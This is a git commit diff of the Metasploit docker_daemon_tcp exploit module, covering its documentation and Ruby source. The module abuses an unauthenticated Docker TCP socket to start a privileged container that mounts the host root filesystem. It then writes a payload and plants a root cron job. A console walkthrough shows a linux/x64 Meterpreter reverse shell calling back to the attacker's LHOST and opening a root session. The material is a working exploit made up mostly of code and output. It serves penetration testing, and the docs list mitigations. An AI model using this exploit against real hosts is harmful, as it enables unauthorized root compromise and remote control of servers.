Land #9050, @mpizala's improvements to the docker_daemon_tcp module

MS-2855/keylogger-mettle-extension
Jon Hart 2017-11-21 17:13:24 -08:00
commit 879db5cf38
No known key found for this signature in database
GPG Key ID: 2FA9F0A3AFA8E9D3
2 changed files with 53 additions and 33 deletions

View File

@ -67,6 +67,8 @@ OK
[Disable][5] or [protect][6] the Docker tcp socket.
[User namespaces][7] did **not** protect against this.
# Exploitation
This module is designed for the attacker to leverage, creation of a
Docker container with out authentication through the Docker tcp socket
@ -88,8 +90,8 @@ to gain root access to the hosting server of the Docker container.
msf > use exploit/linux/http/docker_daemon_tcp
msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
RHOST => 192.168.66.23
msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp
PAYLOAD => python/meterpreter/reverse_tcp
msf exploit(docker_daemon_tcp) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
LHOST => 192.168.66.10
msf exploit(docker_daemon_tcp) > set VERBOSE true
@ -108,18 +110,17 @@ msf exploit(docker_daemon_tcp) > run
[*] Waiting for the cron job to run, can take up to 60 seconds
[*] Waiting until the docker container stopped
[*] The docker container has been stopped, now trying to remove it
[*] Sending stage (40411 bytes) to 192.168.66.23
[*] Sending stage (2878936 bytes) to 192.168.66.23
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
[+] Deleted /etc/cron.d/lVoepNpy
[+] Deleted /tmp/poasDIuZ
meterpreter > sysinfo
Computer : debian
OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)
Computer : rancher
OS : Debian 9.1 (Linux 4.9.0-3-amd64)
Architecture : x64
System Language : en_US
Meterpreter : python/linux
Meterpreter : x64/linux
meterpreter >
```
@ -129,3 +130,4 @@ meterpreter >
[4]:https://docs.docker.com/engine/admin/systemd/
[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options
[6]:https://docs.docker.com/engine/security/https/
[7]:https://docs.docker.com/engine/security/userns-remap/#disable-namespace-remapping-for-a-container

View File

@ -33,9 +33,13 @@ class MetasploitModule < Msf::Exploit::Remote
],
'DisclosureDate' => 'Jul 25, 2017',
'Targets' => [
[ 'Linux x64', {
'Arch' => ARCH_X64,
'Platform' => 'linux'
}],
[ 'Python', {
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Platform' => 'python',
'Payload' => {
'Compat' => {
'ConnectionType' => 'reverse noconn none tunnel'
@ -43,13 +47,14 @@ class MetasploitModule < Msf::Exploit::Remote
}
}]
],
'DefaultOptions' => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' },
'Payload' => { 'Space' => 65000, 'DisableNops' => true },
'DefaultOptions' => { 'WfsDelay' => 180 },
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(2375),
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
OptString.new('CONTAINER_ID', [ false, 'container id you would like'])
]
)
@ -57,22 +62,24 @@ class MetasploitModule < Msf::Exploit::Remote
def check_image(image_id)
vprint_status("Check if images exist on the target host")
res = send_request_raw(
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('images', 'json')
'uri' => normalize_uri('images', 'json'),
'ctype' => 'application/json'
)
return unless res and res.code == 200 and res.body.include? image_id
return unless res && res.code == 200 && res.body.include?(image_id)
res
end
def pull_image(image_id)
print_status("Trying to pulling image from docker registry, this may take a while")
res = send_request_raw(
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('images', 'create?fromImage=' + image_id)
'uri' => normalize_uri('images', 'create?fromImage=' + image_id),
'ctype' => 'application/json'
)
return unless res.code == 200
return unless res && res.code == 200
res
end
@ -88,12 +95,17 @@ class MetasploitModule < Msf::Exploit::Remote
echo_cron_path = mnt_path + cron_path
echo_payload_path = mnt_path + payload_path
case target
when targets[0] # linux
command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
cron_command = payload_path
when targets[1] # python
command = "echo \"#{payload.raw}\" >> #{echo_payload_path} \&\& "
cron_command = "python #{payload_path}"
payload_data = payload.raw
end
command = "echo \"#{payload_data}\" >> #{echo_payload_path} && "
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && "
command << "echo \"\" >> #{echo_cron_path} && "
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
command << "echo \"\" >> #{echo_cron_path} \&\& "
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"
command
@ -108,25 +120,29 @@ class MetasploitModule < Msf::Exploit::Remote
'HostConfig' => {
'Binds' => [
'/:' + mnt_path
]
],
'Privileged' => true,
'UsernsMode' => 'host'
}
}
end
def del_container(container_id)
send_request_raw(
send_request_cgi(
{
'method' => 'DELETE',
'uri' => normalize_uri('containers', container_id)
'uri' => normalize_uri('containers', container_id),
'ctype' => 'application/json'
},
1 # timeout
)
end
def check
res = send_request_raw(
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('containers', 'json'),
'ctype' => 'application/json',
'headers' => { 'Accept' => 'application/json' }
)
@ -135,7 +151,7 @@ class MetasploitModule < Msf::Exploit::Remote
return Exploit::CheckCode::Unknown
end
if res and res.code == 200 and res.headers['Server'].include? 'Docker'
if res && res.code == 200 && res.headers['Server'].include?('Docker')
return Exploit::CheckCode::Vulnerable
end
@ -161,10 +177,10 @@ class MetasploitModule < Msf::Exploit::Remote
container_id = make_container_id
# create container
res_create = send_request_raw(
res_create = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('containers', 'create?name=' + container_id),
'headers' => { 'Content-Type' => 'application/json' },
'ctype' => 'application/json',
'data' => make_container(mnt_path, cron_path, payload_path).to_json
)
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201
@ -173,25 +189,27 @@ class MetasploitModule < Msf::Exploit::Remote
register_files_for_cleanup(cron_path, payload_path)
# start container
send_request_raw(
send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri('containers', container_id, 'start')
'uri' => normalize_uri('containers', container_id, 'start'),
'ctype' => 'application/json'
},
1 # timeout
)
# wait until container stopped
vprint_status("Waiting until the docker container stopped")
res_wait = send_request_raw(
res_wait = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('containers', container_id, 'wait'),
'ctype' => 'application/json',
'headers' => { 'Accept' => 'application/json' }
)
# delete container
deleted_container = false
if res_wait.code == 200
if res_wait && res_wait.code == 200
vprint_status("The docker container has been stopped, now trying to remove it")
del_container(container_id)
deleted_container = true